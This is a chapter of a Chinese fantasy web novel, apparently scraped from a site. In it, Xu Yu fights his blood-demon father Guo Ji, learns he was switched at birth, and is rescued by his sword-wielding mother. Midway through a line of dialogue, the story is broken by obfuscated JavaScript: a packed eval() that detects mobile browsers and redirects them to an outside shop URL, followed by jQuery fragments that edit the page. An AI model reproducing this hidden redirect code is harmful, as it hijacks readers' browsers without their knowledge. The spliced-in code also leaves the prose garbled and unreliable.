25. 第二十五章

作品:《仇人死后,我成了他的未亡人

    “可能是我听错了。”许翎收回望向虚空的视线,目光落回眼前人身上,眉头无意识地微蹙着。


    “哼,”看到柳渐青那张笑语盈盈的脸,他心底不知哪个角落蹿上一股无名火,忍不住夹枪带棒:“这么久都不见你回家,还以为你在哪个山沟沟‘得道飞升’了呢。”


    说完,自己都先愣住了。


    奇怪。柳渐青明明从未离开过太久。自己为何会脱口而出,这么久都不回来?


    柳渐青噗嗤笑出了声:“这么记仇啊。”他伸出手,指尖微凉,轻轻捏了捏许翎的脸颊:“小祖宗。同你解释多少次了,南疆那边的疫情颇为复杂,蛊毒与瘴气纠缠,处理起来耽搁了不少时日。”


    许翎怔怔看着他熟悉的笑颜,心中那点异样感却并未消散,像水底暗生的苔藓,无声蔓延。


    是他的错觉吗?为什么他总觉得,有什么东西,在背后盯着他。


    许羽狼狈地向后躲避,原先所处的地面顿时炸开一团猩红色,在地板上腐蚀出滋滋作响的焦痕,空气中满是刺鼻的血腥味。


    郭暨好整以暇地待在原地,指尖缠绕着一缕未散的血气,眼里闪烁着猎人捕捉猎物时特有的,残忍的愉悦。


    “儿子,听说你可是以相当漂亮的成绩通过的南云宗考核?”郭暨摇摇头,带着几分调侃:“从你的身手看来,是那只小噬血鬼一直在帮你吧。”


    他叹了口气,像是逮到孩子作弊的父亲:“投机取巧,可不是好习惯啊。”


    话音刚落,许羽眼前顿然再次炸开一朵血花,飞溅的灼热液体擦过他的小腿,带来火辣辣的刺痛。许羽惊喘着扑倒躲避,碎屑擦过脸颊。


    好疼!许羽抚上小腿,险些尖叫出声。伤口接触到郭暨的血,传来灼烧的疼感,疼得他几乎站不起来。


    千钧万发之际,他脑里灵光一闪,大声嚷道:


    “你想在这里弄死我……我母亲,她知道吗?!”


    “啊,你母亲啊。”


    出乎意料,郭暨动作居然真的一滞,血红的眼眸略过一丝难以名状的清醒,语气也不自觉柔和下来:


    “当年,我还挺喜欢她的。所以,即便她在你出生不久后,就将你与其他小孩调换……我也一直装作没发生,由着她去。”


    仿佛有柄重锤,狠狠砸在许羽颅顶!震得他两眼发黑,脑海中不断回响着郭暨的话。


    “她将你调换……”


    “我装作没发生……”


    许羽的嘴唇哆嗦着,每一个字都像是从肺腑里硬挤出来:“我是被故意调换的?”


    “你们一直都知道?”许羽的声音已经快压抑不住了:“知道我才是真正亲生的,知道我这么多年来,一直流落在外?”


    “是她一直都知道呢,”郭暨有些抱歉地摇摇头:“不过,噬血鬼不讲究血缘亲情什么的。养你还是养别的孩子,对我而言,都没什么区别。”


    许羽似乎快要站不起来了。他抬起头死死盯着郭暨,声音嘶哑却格外清晰。


    “你一开始……并没有打算杀掉我。”


    他舔了舔干裂带血的嘴唇,继续低声道:


    “否则,你根本不必大费周章,又是扮演慈父,又是设法把我从南云宗的牢里弄出来。你有一万种办法可以悄无声息地解决我。”


    “直到你确认我是你的亲生骨肉,确认我真的有那一半的‘噬血鬼’血脉后,你才真的打算动手,对吧?”


    “为什么?”许羽脸色苍白,迷茫地问。


    “难道是——”


    很快,他近乎自言自语地给出了自己的答案:


    “我那一半的噬血鬼血脉,能对你造成威胁?”


    郭暨的神情,终于在那一瞬间出现了些许不自然。


    接触到郭暨鲜血的伤口还在发疼,在那疼痛的刺激下,许羽大脑反而越发越清晰起来。


    如果、如果一切都是真的话,如果他真的有一半噬血鬼血脉的话……


    他的内心忽然横生一股冲动,他不知从何而来,也不知道到底有没有用。当郭暨脸上再次浮现出令人胆寒的兴奋神情,缓步逼近时——那冲动再度猛地冲上了头顶!


    就是现在!


    许羽咬紧牙关,用尽最后的力气,将满是鲜血的手掌狠狠向前一挥!


    泼洒出的血珠并未落地,而是在脱离他指尖的瞬间,被无形的力量点燃,在空中迸发出一片并不盛大、却异常刺眼灼目的浅红色爆炸!正面撞上郭暨指尖蓄力还未迸放的血气。


    郭暨显然也是没有料到,那点爆炸居然真让他微微一顿,指尖的血气絮乱了一瞬,掌心微微发麻。


    就是现在,快逃!


    强烈的求生欲在他脑中呼啸。小腿处传来几乎被折断的疼痛,但许羽此刻什么都顾不上了。他猛地从地上弹起,凭借着这股不知从何而来的狠劲,拖着那条几乎动弹不得的腿,踉踉跄跄朝着这房间里唯一的大门扑去!


    三步、两步、一步!


    到了!还未等许羽露出喜悦的笑容,那把手纹丝不动。许羽急了,动作也变得慌乱,


    “没用的,”郭暨微笑着,一步步从背后逼近:“这里的门早被我下了咒。别说你了,就是一只苍蝇都——”


    下一秒——


    “轰——!”


    震耳欲聋的爆破声从外面响起,只见一道无比凌厉的雪亮剑光,自门外悍然劈入!


    木屑轰然四溅,在许羽惊讶的视线中,郭母毅然从外围劈开大门。屋外黯淡的月光勾勒出她冰冷的侧脸轮廓,手中握着长剑,寒芒流转,倒映出一双决绝的眼眸。


    明明是那么冰冷,许羽却觉得,此时的她,比之前任一时刻都要鲜活。


    “啊,夫人。”见到郭母,郭暨整个人都亮了,他热情地打招呼:“晚上好啊,这么晚了还赶来,真是辛苦你了。”


    郭母毫不畏惧地回视他那双猩红诡谲的眼睛。


    “你的动作,还是这么快。”郭暨毫不在意她散发的敌视,语气轻佻:“若不是我提前带走了小许羽,此刻,怕是再见你一面的机会,都没有了吧。”


    “是吗?”郭母一字一句道,缓缓抬起手中的剑:“那看来,我的动作还是不够快——”


    “不然,也不会仍你鸠占鹊巢逍遥这么多年了。”


    说罢,她的手腕一振,剑身发出清越嗡鸣,凌厉的剑气勃然迸发!她没有使用任何花哨的招式,只是简简单单,将全身灵力与冰冷的杀意灌注于剑锋,化作一道凝练的剑光,直勾勾对准郭暨,当胸刺去!


    郭暨来不及防御,被狠狠击飞,倒在墙上。


    郭母气喘吁吁,之前打理得一丝不苟的头发已经全乱了。她终于给了旁边彻底呆住的许羽一个眼神,几乎是用尽全力,大喝道:


    “看什么?!还不快走!”


    她的话惊醒了许羽,他颤颤巍巍道:“那你呢?”


    “用不着你管!”郭母冷冷道:“先管好你自己吧。”


    “我们、我们不妨一起制服他?”许羽着急,小心翼翼问道:“我看刚才我的血好像对他有点作用……”


    “他要真有这么好对付,还用得着我忍这么多年?!”郭母咬牙,像是真的很愤怒。眼看郭暨快要再次站起来了,她散乱如海藻的长发在夜色下挥舞着,手中长剑再次寒光大盛!朝着那恶鬼斩出决绝一剑——


    只是,这一次,郭暨并未闪躲,他只是抬起了右手。那只手现在被一层浓郁近乎发黑的暗红血光包裹。五指如铁钳般,硬生生扣住了疾刺而来的剑锋!


    雪亮的剑光在他掌心前半寸处剧烈震颤,再难前进分毫。


    “这剑、这剑是……”郭暨喃喃道,许羽第一次见他露出这样的神情,像是始料不及,还带着些许……后怕。他低声道,声音里透着一丝古怪的滞涩:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014210|192325||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大哥的剑,居然在你手上。”


    “我找了它这么久,没想到,它居然在你手中。”


    大哥?!


    许羽心生不详的预感,他的父亲有大哥?他只听说过郭暨多年前曾有个弟弟,但十几年前就死在了噬血鬼手里……


    死在噬血鬼手里?!这个迟来的关键如同一道惨白的闪电,劈开了许羽混乱的思绪。他脸色“唰”地变得惨白如纸,隐隐感觉到,自己已经快要接触真相的核心了。


    “真不愧是夫人啊。”郭暨的神色在晦暗的光线下明灭不定,终于缓缓将目光从那柄剑上移开。他忽然牵动嘴角,竟是露出了一个意味不明的笑容。紧接着,闭上了那双骇人的血眸。


    然后,他猛然睁开眼!周身原本只是萦绕的血光骤然沸腾,如同活物般疯狂翻涌,眨眼间便弥漫至整个屋子上空。浓重的血腥气几乎凝成实质,压得人喘不过气。那血光扭曲、拉伸、凝聚——


    化为无数枚细如牛毛、却闪烁着妖异锋芒的血色尖针,朝着他们而去!


    许羽大惊失色,郭母上前一步,迎着漫天的血针,毫无惧色。


    巨大的剑锋与血针碰撞,炸开一簇簇火星与浓郁的血雾。这些声响听得人头皮发麻。


    不知过了多久,浓雾这才缓缓散去。许羽呛了几声,这才看清。


    郭母屹立不倒,站在他前方。滚烫的鲜血顺着她的手腕,从剑柄蜿蜒流下。


    许羽刚松了一口气。


    “噗——!”


    郭母身体猛然一弓,吐出一大口血,双膝一软,重重向地上倒去。许羽大惊,连上前想去搀扶。郭母却摇了摇头表示拒绝,将剑狠狠插入地面,维持自己的平稳。


    她已是强弩之末了。


    “夫人,把他给我吧。”郭暨伸出手,血红的眼眸散发着异样的光:“即使有这把剑,你也不是我的对手。作为奖励,今天的事,就当做什么都没有发生。”


    许羽不明白,也不想明白这个“他”到底是指剑还是他。


    “呵。”


    郭母冷笑一声,随意擦去嘴角的血,动作粗暴,全然不复平日那股云中仙的模样:“事到如今你还是爱这般惺惺作态。”


    “你这么大费周章,不惜暴露自身,也要弄死一个十七岁的小屁孩——”郭母的声音因伤势而虚弱,又因讥讽而尖锐:


    “不就是怕死吗?!”


    “——血缘同命咒。”看到郭暨的脸色赫然大变,她终于笑了,笑得无比张扬:“你害怕的就是这个,对吧?”


    许羽恍然大悟。他知道这个禁术!在那本记载着招魂术的残破古籍里,同样提及过这个名字。那是一种极端罕见、条件苛刻的禁术,将两个血脉相连者的命运强行捆绑在一起。一方死,另一方也无法存活。


    郭母呼吸急促,强撑着继续道:“噬血鬼本身就极难繁育后代,更别提和人类结合了。”她的话语在这里骤然停顿,脸色变得格外阴沉复杂,还混有一丝厌恶:“虽然我很不想承认……但,许羽,你的确是个奇迹。”


    “你身上流淌着一半噬血鬼的血,正是来自他的血。”


    房间内一片死寂的沉默,只剩郭母压抑的喘息和剑身微不可察的震颤。


    忽然,许羽干涩的声音突兀地响起:“什么时候?”


    “嗯?”


    许羽眼神空洞,却执拗地重复了一遍:“郭暨,是什么时候,被感染成噬血鬼的?”


    提到“郭暨”这个名字,郭母终于有了激烈的反应。她身躯狠狠一震,嘴唇颤抖,却说不出话来。


    “呵,”郭暨不屑一顾:“竟然用‘感染’这么无知的词……”


    “闭嘴!”郭母恶狠狠打断了他!她撑着剑,摇摇晃晃地试图站直,目光如淬火的刀子,狠狠剜向对面那熟悉又陌生的身影。


    “郭延!事到如今,你还是不敢面对真实的自己吗?!”